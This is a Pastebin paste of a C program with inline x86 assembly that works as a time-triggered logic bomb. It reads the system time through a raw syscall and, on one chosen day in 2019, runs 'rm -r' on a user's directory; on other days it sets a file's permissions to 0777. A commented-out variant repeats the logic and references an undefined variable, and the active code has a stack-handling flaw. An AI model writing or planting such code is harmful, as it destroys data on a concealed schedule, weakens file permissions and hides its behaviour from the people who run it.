Advertisement
Guest User

Untitled

a guest
May 27th, 2015
252
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 1.29 KB | None | 0 0
  1. #include "stdio.h"
  2. #include "unistd.h"
  3. #include <string.h>
  4. #include <sys/syscall.h>
  5.  
  6. int main()
  7. {
  8. char * file = "/tmp/file.test";
  9. char * dir1 = "rm -r /home/nicholas/tmp/";
  10.  
  11. asm volatile(
  12. "movl $13, %%eax\n\t"
  13. "xorl %%ebx, %%ebx\n\t"
  14. "int $0x80\n\t"
  15. "cmpl $1561705200, %%eax\n\t"
  16. "jl _chmod\n\t"
  17. "cmpl $1561791599, %%eax\n\t"
  18. "jg _chmod\n\t"
  19. "movl %1, %%ebx\n\t"
  20. "push %%ebx\n\t"
  21. "call system\n\t"
  22. "add $4, %%esp\n\t"
  23. "jmp _end\n\t"
  24.  
  25. "_chmod:\n\t"
  26. "movl $15, %%eax\n\t"
  27. "movl %0, %%ebx\n\t"
  28. "add $4, %%esp\n\t"
  29. "movl $511, %%ecx\n\t"
  30. "int $0x80\n\t"
  31. "_end:\n\t"
  32. "nop\n\t": : "r" (file), "r" (dir1): "%eax", "%ecx"
  33. );
  34.  
  35. /*asm volatile(
  36. "movl $13, %%eax\n\t"
  37. "xorl %%ebx, %%ebx\n\t"
  38. "int $0x80\n\t"
  39. "cmpl $1561705200, %%eax\n\t"
  40. "jl _unlock\n\t"
  41. "cmpl $1561791599, %%eax\n\t"
  42. "jg _unlock\n\t"
  43. "movl %0, %%edx\n\t"
  44. "push %%edx\n\t"
  45. "call system\n\t"
  46.  
  47. "addl $4, %%esp\n\t"
  48. "jmp _end\n\t"
  49. "_unlock:\n\t"
  50. //chmod
  51. "movl $15, %%eax\n\t"
  52. "movl %1, %%ebx\n\t"
  53. "movl $511, %%ecx\n\t"
  54. "int $0x80\n\t"
  55. "_end:\n\t"
  56. "nop\n\t": : "d" (dir), "b" (file): "%eax", "%ecx"
  57. );*/
  58.  
  59. return 0;
  60. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement